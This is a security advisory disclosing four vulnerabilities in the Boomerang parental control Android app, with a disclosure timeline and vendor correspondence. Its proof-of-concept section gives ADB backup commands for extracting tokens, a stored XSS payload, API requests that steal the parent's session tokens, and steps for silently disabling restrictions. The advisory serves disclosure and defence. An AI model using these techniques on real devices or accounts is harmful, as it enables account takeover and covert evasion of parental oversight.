SEC Consult Vulnerability Lab Security Advisory < 20230628-0 >  
title: Stored XSS & Privilege Escalation  
product: Boomerang Parental Control App  
vulnerable version: <13.83  
fixed version: >=13.83 (only issue 1), rest not fixed  
CVE number: CVE-2023-36620, CVE-2023-36621  
impact: High  
found: 2022-09-29  
by: Fabian Densborn (Office Vienna)  
Bernhard Gründling (Office Vienna)  
SEC Consult Vulnerability Lab  
An integrated part of SEC Consult, an Eviden business  
Europe | Asia  
Vendor description:  
"National Education Technologies Inc. is a manufacturer of mobile  
applications. Their portfolio ranges from parental control apps, to  
safe browsing apps, to digital wellbeing apps."  
Business recommendation:  
The vendor only provides an update for one of the identified security issues,  
but it effectively reduces the risk of some of the other vulnerabilities, which  
are currently not fixed yet. The vendor could not provide a timeline when the  
rest of the issues will be patched.  
If possible, limit the possibility to boot into Android safe mode. Otherwise  
children are always able to bypass any restrictions.  
An in-depth security analysis performed by security professionals is  
highly advised, to identify and resolve potential further critical security  
Vulnerability overview/description:  
1) ADB Backup allowed (CVE-2023-36620)  
The app is missing the android:allowBackup="false" attribute in the  
manifest which allows the user to backup the internal memory of the  
app to a PC. This gives the user access to the device (in case ADB is enabled)  
and API token which are used to authenticate requests to the API.  
2) Stored XSS  
The customizable name of the child's device can be used to trigger a XSS  
payload in the parent web dashboard. Children might be able to attack  
their parents' account.  
3) Trigger parent control functions from child device (Privilege Escalation)  
A device token in the form of a UUID is used as a session token for the parent  
and the child device. The parent device token is leaked on an endpoint which  
is accessible by the child, which is equivalent to leaking the session token.  
This token can then be used to authenticate requests to the API and get the same  
access rights as the parent. This would allow a child to bypass restrictions  
and access device settings.  
4) Disable Child App Restriction without Parent's notice (CVE-2023-36621)  
The child can remove all restrictions temporarily or uninstall the application  
without the parents noticing.  
Proof of concept:  
1) ADB Backup allowed (CVE-2023-36620)  
The internals of the app can be backed up to a PC by connecting the device  
and running the following commands. As a prerequisite, the ADB feature  
must be enabled or being used via recovery. Children could bypass any Android  
setting restrictions via vulnerability 3).  
adb backup -apk com.nationaledtech.Boomerang  
dd if=backup.ab bs=24 skip=1 | zlib-flate -uncompress | tar xf -  
The internal data contains the device and API token which are used to  
communicate with the API.  
2) Stored XSS  
As the internal memory including the device and API token is backup-able (see 1),  
it is possible to construct arbitrary requests to the API in the name  
of the child. The following payload can be used to change the device name  
and trigger an alert box in the dashboard of the parent:  
POST /services/DeviceService.svc/RenameDevice HTTP/1.1  
Accept: application/json  
Content-Type: application/json;charset=UTF-8  
Content-Length: 1470  
"DeviceToken": <child-device-token>,  
"ApiToken": <child-api-token>,  
"DeviceTitle":"\"\/><img src=\"x\" onerror=\"alert(1)\"\/>",  
"TargetDeviceToken": <child-device-token>  
3) Access parent control functions from child device (Privilege Escalation)  
When visiting the Family Messenger Tab within the application on the device, a GET  
request to API endpoint `/services/FamilyService.svc/GetAllFamilyDevices` will be  
sent and the response contains all DeviceTokens associated with the account  
(including the ones of parent devices).  
To be able to query the `/services/FamilyService.svc/GetAllFamilyDevices`  
endpoint an attacker first needs to backup their device and get access to their  
own device and API token. Then an attacker is able to create their own request  
querying the device token of the parent.  
POST /services/FamilyService.svc/GetAllFamilyDevices HTTP/1.1  
Accept: application/json  
Content-Type: application/json;charset=UTF-8  
Content-Length: 54  
User-Agent: Dalvik/2.1.0 (Linux; U; Android 11; Pixel 4a Build/RQ2A.210305.006)  
Connection: close  
Accept-Encoding: gzip, deflate  
HTTP/1.1 200 OK  
Cache-Control: private  
Content-Type: application/json; charset=utf-8  
Server: Microsoft-IIS/8.5  
X-Powered-By: ASP.NET  
Connection: close  
Content-Length: 450  
With the DeviceToken of the parent, the API token can be retrieved from the  
`/services/DeviceService.svc/UpdateStatus` endpoint:  
POST /services/DeviceService.svc/UpdateStatus HTTP/1.1  
Accept: application/json  
Content-Type: application/json  
User-Agent: Boomerang/234 CFNetwork/1240.0.4 Darwin/20.5.0  
Accept-Language: en-us  
Content-Length: 55  
Accept-Encoding: gzip, deflate  
Connection: close  
{"DeviceToken": <parent-token>,}  
As the device token combined with the API token are used to authenticate requests  
to the API, the child now has the same access rights as the parent.  
4) Disable Child App Restriction without Parent's notice (CVE-2023-36621)  
The child can disable the restrictions of the application without the parents  
noticing. For this, the following steps are necessary:  
a) Turn off Internet connectivity on the child device or block access to the  
API server (e.g. on the router).  
b) Reboot into Android Safe Mode.  
c) Disable Device Admin, "Display over other apps", Usage Access, Accessibility  
Permissions for the app in Android settings.  
d) After rebooting in to normal mode, the child device can be used without  
restrictions. For example, previously locked apps can now be used. The parent's  
application will show that Protection is still on and the last check-in time.  
Internet must stay off on the child device during this.  
e) After usage of the restricted apps is finished, the mentioned permissions are  
turned back on.  
f) The device is restarted to clear any cached HTTP requests of the app that might  
inform the parent.  
g) Internet is re-enabled. The parent's device will not see an indication of these  
activities on their device.  
Alternatively, the Boomerang app can also be uninstalled after disabling the Device  
Admin permission in step 3. Internet can then be turned on as well on the child's  
device without any notification to the parent. The only way for the parent to notice  
this would be to manually check the last check-in time.  
The "Safe Mode Bypass" cannot be exploited on Samsung KNOX capable devices, as  
special restrictions can be set in order to disable booting into safe mode.  
Vulnerable / tested versions:  
The following version has been tested and downloaded from the Google Play store,  
which was the most recent version available at the time of the initial test:  
* Android app version 13.53  
Later on, version 13.61 (2022-10-25) and 13.68 (2022-12-13) have been verified to be  
vulnerable as well.  
Vendor contact timeline:  
2022-11-23: Contacting vendor through and  
2022-11-23: Response from vendor: "We got your email but can't  
understand it - maybe it was sent by accident? How can we help?"  
2022-11-24: Explaining that our email was no accident and that we want  
to send our security advisory over encrypted channels to the vendor .  
No response.  
2022-12-05: Notifying vendor again that we found critical security  
issues and where to send the advisory to.  
No response.  
2022-12-15: Still no response, informing vendor again about the planned  
release date of 12th January, informing them that a blog post  
is planned with an overview about security issues in  
parental control apps for next week.  
2022-12-15: Vendor response: "Hi. I can't understand this attachment. What  
is the issue?"  
2022-12-16: Explaining "responsible disclosure" to the vendor again, asking  
where to send the advisory and that a blog post is planned, as  
well as the advisory release for 12th January.  
2022-12-20: Published blog post (, asked  
vendor again where to send the security advisory.  
2022-12-21: Vendor reply, please send advisory via email. Seems like all  
previous answers from the vendor were not properly received  
(mail server problem).  
2022-12-21: Advisory was sent to vendor.  
2023-01-11: Advisory was sent directly to mail addresses of vendor, not via  
support mail address. Vendor confirms receipt now.  
2023-02-14: Asking for a status update; no response.  
2023-02-28: Asking for a status update again, vendor answers that "some issues"  
have been fixed but they are still checking what is pending.  
2023-03-02: Vendor responds that local backup vulnerability will be fixed soon,  
backend changes are reviewed, no timeline.  
2023-05-09: Asking for a status update, informing vendor about security advisory  
release plan for May.  
2023-05-19: Vendor: Only local backup vulnerability is fixed, backend parts  
are on the roadmap.  
2023-05-22: Asking about a timeline/estimation for this roadmap to fix the backend  
vulnerabilities and which version includes the fix for issue 1).  
2023-05-30: Vendor: latest version on Google Play v13.83 has ADB backup fix  
2023-05-31: Sending current advisory version to vendor, setting preliminary  
release date to end of June, asking for timeline again, asking whether  
there are any issues in incorporating the fixes for the other  
No response.  
2023-06-28: Release of security advisory.  
According to the vendor, only issue 1) has been fixed in version 13.83, the other security  
issues are still not fixed yet. Please contact the vendor for further information  
regarding their timeline.  
Be aware that children might be able to bypass any imposed restrictions.  
If possible, disable booting into Android Safe Mode which works on Samsung Knox-  
enabled smart phones.  
Advisory URL:  
SEC Consult Vulnerability Lab  
An integrated part of SEC Consult, an Eviden business  
Europe | Asia  
About SEC Consult Vulnerability Lab  
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an  
Eviden business. It ensures the continued knowledge gain of SEC Consult in the  
field of network and application security to stay ahead of the attacker. The  
SEC Consult Vulnerability Lab supports high-quality penetration testing and  
the evaluation of new offensive and defensive technologies for our customers.  
Hence our customers obtain the most current information about vulnerabilities  
and valid recommendation about the risk profile of new technologies.  
Interested to work with the experts of SEC Consult?  
Send us your application  
Interested in improving your cyber security with the experts of SEC Consult?  
Contact our local offices  
Mail: security-research at sec-consult dot com  
EOF F. Densborn, B. Gründling / @2023